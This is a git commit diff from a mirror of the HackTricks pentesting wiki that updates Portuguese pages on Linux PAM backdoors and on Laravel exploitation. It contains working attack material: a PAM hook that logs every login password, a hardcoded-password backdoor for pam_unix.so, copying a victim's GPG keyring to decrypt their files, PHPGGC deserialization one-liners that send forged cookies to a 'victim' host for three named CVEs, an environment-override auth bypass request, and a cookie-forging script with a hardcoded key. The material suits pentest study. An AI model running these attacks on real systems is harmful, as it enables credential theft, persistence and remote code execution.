mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/laravel.
This commit is contained in:
parent
70c706cc87
commit
76f265906a
@ -2,22 +2,23 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Capturando Senhas de Login com PAM
|
## Sniffing Logon Passwords with PAM
|
||||||
|
|
||||||
|
Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM confira:
|
||||||
|
|
||||||
Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM, confira:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
pam-pluggable-authentication-modules.md
|
pam-pluggable-authentication-modules.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
**Para mais detalhes, confira o [post original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Este é apenas um resumo:
|
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Isto é apenas um resumo:
|
||||||
|
|
||||||
**Visão Geral da Técnica:**
|
**Technique Overview:**
|
||||||
Módulos de Autenticação Pluggable (PAM) oferecem flexibilidade na gestão de autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança personalizando os processos de login, mas também apresentam riscos se mal utilizados. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, juntamente com estratégias de mitigação.
|
Pluggable Authentication Modules (PAM) oferecem flexibilidade no gerenciamento de autenticação em sistemas baseados em Unix. Eles podem reforçar a segurança ao customizar processos de login, mas também apresentam riscos se usados indevidamente. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, junto com estratégias de mitigação.
|
||||||
|
|
||||||
**Capturando Credenciais:**
|
**Capturing Credentials:**
|
||||||
|
|
||||||
- Um script bash chamado `toomanysecrets.sh` é criado para registrar tentativas de login, capturando a data, nome de usuário (`$PAM_USER`), senha (via stdin) e IP do host remoto (`$PAM_RHOST`) em `/var/log/toomanysecrets.log`.
|
- Um script bash chamado `toomanysecrets.sh` é criado para registrar tentativas de login, capturando a data, o nome de usuário (`$PAM_USER`), a senha (via stdin) e o IP do host remoto (`$PAM_RHOST`) em `/var/log/toomanysecrets.log`.
|
||||||
- O script é tornado executável e integrado à configuração do PAM (`common-auth`) usando o módulo `pam_exec.so` com opções para rodar silenciosamente e expor o token de autenticação ao script.
|
- O script é tornado executável e integrado à configuração do PAM (`common-auth`) usando o módulo `pam_exec.so` com opções para rodar silenciosamente e expor o token de autenticação ao script.
|
||||||
- A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais de forma discreta.
|
- A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais de forma discreta.
|
||||||
```bash
|
```bash
|
||||||
@ -31,23 +32,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
|||||||
```
|
```
|
||||||
### Backdooring PAM
|
### Backdooring PAM
|
||||||
|
|
||||||
**Para mais detalhes, consulte o [post original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Este é apenas um resumo:
|
**Para mais detalhes, consulte o [artigo original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Isto é apenas um resumo:
|
||||||
|
|
||||||
O Módulo de Autenticação Pluggable (PAM) é um sistema usado no Linux para autenticação de usuários. Ele opera em três conceitos principais: **nome de usuário**, **senha** e **serviço**. Os arquivos de configuração para cada serviço estão localizados no diretório `/etc/pam.d/`, onde bibliotecas compartilhadas gerenciam a autenticação.
|
O Pluggable Authentication Module (PAM) é um sistema usado no Linux para autenticação de usuários. Opera com três conceitos principais: **username**, **password** e **service**. Os arquivos de configuração para cada serviço estão localizados no diretório `/etc/pam.d/`, onde bibliotecas compartilhadas lidam com a autenticação.
|
||||||
|
|
||||||
**Objetivo**: Modificar o PAM para permitir a autenticação com uma senha específica, contornando a senha real do usuário. Isso é particularmente focado na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha.
|
**Objetivo**: Modificar o PAM para permitir autenticação com uma senha específica, contornando a senha real do usuário. Isso foca particularmente na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha.
|
||||||
|
|
||||||
### Passos para Modificar `pam_unix.so`:
|
### Steps for Modifying `pam_unix.so`:
|
||||||
|
|
||||||
1. **Localizar a Diretiva de Autenticação** no arquivo `common-auth`:
|
1. **Localize a Diretiva de Autenticação** no arquivo `common-auth`:
|
||||||
- A linha responsável por verificar a senha de um usuário chama `pam_unix.so`.
|
- A linha responsável por checar a senha do usuário chama `pam_unix.so`.
|
||||||
2. **Modificar o Código Fonte**:
|
2. **Modifique o Código Fonte**:
|
||||||
- Adicione uma instrução condicional no arquivo de código fonte `pam_unix_auth.c` que concede acesso se uma senha predefinida for usada; caso contrário, prossegue com o processo de autenticação usual.
|
- Adicione uma instrução condicional no arquivo fonte `pam_unix_auth.c` que permita acesso se uma senha pré-definida for usada; caso contrário, prossiga com o processo normal de autenticação.
|
||||||
3. **Recompilar e Substituir** a biblioteca modificada `pam_unix.so` no diretório apropriado.
|
3. **Recompile e Substitua** a biblioteca `pam_unix.so` modificada no diretório apropriado.
|
||||||
4. **Teste**:
|
4. **Teste**:
|
||||||
- O acesso é concedido em vários serviços (login, ssh, sudo, su, protetor de tela) com a senha predefinida, enquanto os processos normais de autenticação permanecem inalterados.
|
- O acesso é concedido em vários serviços (login, ssh, sudo, su, screensaver) com a senha pré-definida, enquanto os processos normais de autenticação permanecem inalterados.
|
||||||
|
|
||||||
> [!DICA]
|
> [!TIP]
|
||||||
> Você pode automatizar esse processo com [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
> Você pode automatizar esse processo com [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||||
|
|
||||||
|
## Decrypting GPG loot via homedir relocation
|
||||||
|
|
||||||
|
Se você encontrar um arquivo `.gpg` criptografado e a pasta `~/.gnupg` do usuário (pubring, private-keys, trustdb) mas não conseguir descriptografar devido a permissões/bloqueios do homedir do GnuPG, copie o keyring para um local gravável e use-o como seu GPG home.
|
||||||
|
|
||||||
|
Erros típicos que você verá sem isso: "unsafe ownership on homedir", "failed to create temporary file", ou "decryption failed: No secret key" (porque o GPG não consegue ler/escrever o homedir original).
|
||||||
|
|
||||||
|
Fluxo de trabalho:
|
||||||
|
```bash
|
||||||
|
# 1) Stage a writable homedir and copy the victim's keyring
|
||||||
|
mkdir -p /dev/shm/fakehome/.gnupg
|
||||||
|
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||||
|
# 2) Ensure ownership & perms are sane for gnupg
|
||||||
|
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||||
|
chmod 700 /dev/shm/fakehome/.gnupg
|
||||||
|
# 3) Decrypt using the relocated homedir (either flag works)
|
||||||
|
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||||
|
# or
|
||||||
|
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||||
|
```
|
||||||
|
Se o material da chave secreta estiver presente em `private-keys-v1.d`, o GPG irá desbloquear e descriptografar sem solicitar a passphrase (ou solicitará se a chave estiver protegida).
|
||||||
|
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||||
|
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -8,10 +8,10 @@ Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functio
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## APP_KEY & Internos de Criptografia (Laravel \u003e=5.6)
|
## APP_KEY & Internos de Encryption (Laravel \u003e=5.6)
|
||||||
|
|
||||||
Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por trás dos panos (`Illuminate\\Encryption\\Encrypter`).
|
Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por baixo do capô (`Illuminate\\Encryption\\Encrypter`).
|
||||||
O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como:
|
O raw ciphertext que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"iv" : "Base64(random 16-byte IV)",
|
"iv" : "Base64(random 16-byte IV)",
|
||||||
@ -20,16 +20,16 @@ O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um
|
|||||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
`encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**.
|
`encrypt($value, $serialize=true)` vai `serialize()` o plaintext por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decriptado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via magic methods (`__wakeup`, `__destruct`, …)**.
|
||||||
|
|
||||||
PoC mínima (framework ≥9.x):
|
Minimal PoC (framework ≥9.x):
|
||||||
```php
|
```php
|
||||||
use Illuminate\Support\Facades\Crypt;
|
use Illuminate\Support\Facades\Crypt;
|
||||||
|
|
||||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||||
```
|
```
|
||||||
Injete a string produzida em qualquer ponto vulnerável `decrypt()` (parâmetro de rota, cookie, sessão, ...).
|
Injete a string produzida em qualquer sink `decrypt()` vulnerável (route param, cookie, session, …).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -45,25 +45,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
|||||||
# Try a word-list of keys against a token (offline)
|
# Try a word-list of keys against a token (offline)
|
||||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||||
```
|
```
|
||||||
O script suporta de forma transparente tanto cargas úteis CBC quanto GCM e regenera o campo HMAC/tag.
|
O script suporta de forma transparente payloads CBC e GCM e regenera o campo HMAC/tag.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Padrões vulneráveis do mundo real
|
## Padrões vulneráveis do mundo real
|
||||||
|
|
||||||
| Projeto | Ponto vulnerável | Cadeia de gadgets |
|
| Project | Sink vulnerável | Gadget chain |
|
||||||
|---------|------------------|-------------------|
|
|---------|-----------------|--------------|
|
||||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||||
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 |
|
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 |
|
||||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 |
|
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||||
|
|
||||||
O fluxo de exploração é sempre:
|
O fluxo de exploração é sempre:
|
||||||
1. Obter ou forçar a força bruta da `APP_KEY` de 32 bytes.
|
1. Obtenha ou brute-force a `APP_KEY` de 32-byte.
|
||||||
2. Construir uma cadeia de gadgets com **PHPGGC** (por exemplo, `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`).
|
2. Construa uma gadget chain com **PHPGGC** (por exemplo `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`).
|
||||||
3. Criptografar o gadget serializado com **laravel_crypto_killer.py** e a `APP_KEY` recuperada.
|
3. Criptografe o gadget serializado com **laravel_crypto_killer.py** e a `APP_KEY` recuperada.
|
||||||
4. Entregar o texto cifrado ao ponto vulnerável `decrypt()` (parâmetro de rota, cookie, sessão …) para acionar **RCE**.
|
4. Entregue o ciphertext ao sink vulnerável `decrypt()` (parâmetro de rota, cookie, session …) para acionar **RCE**.
|
||||||
|
|
||||||
Abaixo estão linhas concisas demonstrando todo o caminho do ataque para cada CVE do mundo real mencionado acima:
|
Abaixo estão one-liners concisos demonstrando o caminho completo do ataque para cada CVE do mundo real mencionado acima:
|
||||||
```bash
|
```bash
|
||||||
# Invoice Ninja ≤5 – /route/{hash}
|
# Invoice Ninja ≤5 – /route/{hash}
|
||||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||||
@ -80,41 +80,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
|||||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||||
```
|
```
|
||||||
|
## Descoberta em massa de APP_KEY via cookie brute-force
|
||||||
|
|
||||||
|
Porque toda resposta Laravel nova define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e normalmente `laravel_session`), **scanners públicos da internet (Shodan, Censys, …) leak milhões de ciphertexts** que podem ser atacados offline.
|
||||||
|
|
||||||
|
Principais achados da pesquisa publicada pela Synacktiv (2024-2025):
|
||||||
|
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||||
|
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||||
|
* >1 000 servers ainda vulneráveis ao legacy CVE-2018-15133 porque tokens contêm diretamente dados serializados.
|
||||||
|
* Reuso massivo de keys – as Top-10 APP_KEYs são defaults hard-coded fornecidos com templates comerciais Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||||
|
|
||||||
|
A ferramenta Go privada **nounours** empurra o throughput de AES-CBC/GCM bruteforce para ~1.5 billion tries/s, reduzindo o cracking de todo o dataset para <2 minutos.
|
||||||
|
|
||||||
|
|
||||||
|
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||||
|
|
||||||
|
Quando o PHP tem `register_argc_argv=On` (típico em muitas distros), o PHP expõe um array `argv` para requisições HTTP derivado da query string. Versões recentes do Laravel parseavam esses args “CLI-like” e respeitavam `--env=<value>` em tempo de execução. Isso permite trocar o environment do framework para a requisição HTTP atual apenas adicionando ao URL:
|
||||||
|
|
||||||
|
- Quick check:
|
||||||
|
- Visite `https://target/?--env=local` ou qualquer string e procure por mudanças dependentes do environment (banners de debug, footers, erros verbose). Se a string for refletida, o override está funcionando.
|
||||||
|
|
||||||
|
- Impact example (business logic que confia num env especial):
|
||||||
|
- Se a app contém ramos como `if (app()->environment('preprod')) { /* bypass auth */ }`, você pode autenticar sem credenciais válidas enviando o POST de login para:
|
||||||
|
- `POST /login?--env=preprod`
|
||||||
|
|
||||||
|
- Notes:
|
||||||
|
- Funciona por requisição, sem persistência.
|
||||||
|
- Requer `register_argc_argv=On` e uma versão vulnerável do Laravel que lê argv para HTTP.
|
||||||
|
- Primitive útil para revelar erros mais verbose em envs “debug” ou para disparar caminhos de código protegidos por environment.
|
||||||
|
|
||||||
|
- Mitigations:
|
||||||
|
- Desabilitar `register_argc_argv` para PHP-FPM/Apache.
|
||||||
|
- Atualizar Laravel para ignorar argv em requisições HTTP e remover quaisquer suposições de confiança atreladas a `app()->environment()` em rotas de produção.
|
||||||
|
|
||||||
|
Minimal exploitation flow (Burp):
|
||||||
|
```http
|
||||||
|
POST /login?--env=preprod HTTP/1.1
|
||||||
|
Host: target
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
...
|
||||||
|
email=a@b.c&password=whatever&remember=0xdf
|
||||||
|
```
|
||||||
---
|
---
|
||||||
|
|
||||||
## Descoberta em massa do APP_KEY via brute-force de cookies
|
|
||||||
|
|
||||||
Porque cada resposta nova do Laravel define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e geralmente `laravel_session`), **scanners públicos da internet (Shodan, Censys, …) vazam milhões de textos cifrados** que podem ser atacados offline.
|
|
||||||
|
|
||||||
Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025):
|
|
||||||
* Conjunto de dados Julho 2024 » 580 k tokens, **3,99 % das chaves quebradas** (≈23 k)
|
|
||||||
* Conjunto de dados Maio 2025 » 625 k tokens, **3,56 % das chaves quebradas**
|
|
||||||
* >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados.
|
|
||||||
* Reutilização massiva de chaves – os 10 principais APP_KEYs são padrões codificados que vêm com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
|
||||||
|
|
||||||
A ferramenta Go privada **nounours** empurra a taxa de brute-force AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos.
|
|
||||||
|
|
||||||
|
|
||||||
## Truques do Laravel
|
## Truques do Laravel
|
||||||
|
|
||||||
### Modo de depuração
|
### Modo de depuração
|
||||||
|
|
||||||
Se o Laravel estiver em **modo de depuração**, você poderá acessar o **código** e **dados sensíveis**.\
|
Se o Laravel estiver em **modo de depuração** você conseguirá acessar o **código** e **dados sensíveis**.\
|
||||||
Por exemplo `http://127.0.0.1:8000/profiles`:
|
Por exemplo `http://127.0.0.1:8000/profiles`:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Isso geralmente é necessário para explorar outras CVEs de RCE do Laravel.
|
Isso geralmente é necessário para explorar outras Laravel RCE CVEs.
|
||||||
|
|
||||||
|
### Fingerprinting & endpoints de dev expostos
|
||||||
|
|
||||||
|
Verificações rápidas para identificar uma stack Laravel e ferramentas de dev perigosas expostas em produção:
|
||||||
|
|
||||||
|
- `/_ignition/health-check` → Ignition presente (ferramenta de depuração usada por CVE-2021-3129). Se acessível sem autenticação, a aplicação pode estar em modo de depuração ou mal configurada.
|
||||||
|
- `/_debugbar` → assets do Laravel Debugbar; frequentemente indica modo de depuração.
|
||||||
|
- `/telescope` → Laravel Telescope (monitor de dev). Se público, espere ampla divulgação de informações e possíveis ações.
|
||||||
|
- `/horizon` → Painel de filas; divulgação de versão e às vezes ações protegidas por CSRF.
|
||||||
|
- `X-Powered-By`, cookies `XSRF-TOKEN` e `laravel_session`, e páginas de erro Blade também ajudam no fingerprint.
|
||||||
|
```bash
|
||||||
|
# Nuclei quick probe
|
||||||
|
nuclei -nt -u https://target -tags laravel -rl 30
|
||||||
|
# Manual spot checks
|
||||||
|
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||||
|
```
|
||||||
### .env
|
### .env
|
||||||
|
|
||||||
O Laravel salva o APP que usa para criptografar os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando alguma travessia de caminho em: `/../.env`
|
O Laravel salva o APP que usa para encrypt os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando algum path traversal em: `/../.env`
|
||||||
|
|
||||||
O Laravel também mostrará essas informações na página de depuração (que aparece quando o Laravel encontra um erro e está ativado).
|
O Laravel também mostrará essa informação na página de debug (que aparece quando o Laravel encontra um erro e está ativado).
|
||||||
|
|
||||||
Usando o APP_KEY secreto do Laravel, você pode descriptografar e recriptografar cookies:
|
Usando a APP_KEY secreta do Laravel você pode decrypt e re-encrypt cookies:
|
||||||
|
|
||||||
### Descriptografar Cookie
|
### Decrypt Cookie
|
||||||
```python
|
```python
|
||||||
import os
|
import os
|
||||||
import json
|
import json
|
||||||
@ -169,22 +212,22 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
|||||||
|
|
||||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||||
key = base64.b64decode(app_key)
|
key = base64.b64decode(app_key)
|
||||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||||
```
|
```
|
||||||
### Laravel Deserialization RCE
|
### Laravel Deserialization RCE
|
||||||
|
|
||||||
Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||||
|
|
||||||
Aqui você pode encontrar informações sobre a vulnerabilidade de desserialização aqui: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
Informações sobre a deserialization vulnerability podem ser encontradas aqui: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||||
|
|
||||||
Você pode testar e explorar usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
Você pode testá-la e exploitá-la usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||||
Ou você também pode explorá-lo com metasploit: `use unix/http/laravel_token_unserialize_exec`
|
Ou você também pode exploitá-la com metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||||
|
|
||||||
### CVE-2021-3129
|
### CVE-2021-3129
|
||||||
|
|
||||||
Outra desserialização: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
Outra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@ -194,5 +237,9 @@ Outra desserialização: [https://github.com/ambionics/laravel-exploits](https:/
|
|||||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||||
|
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||||
|
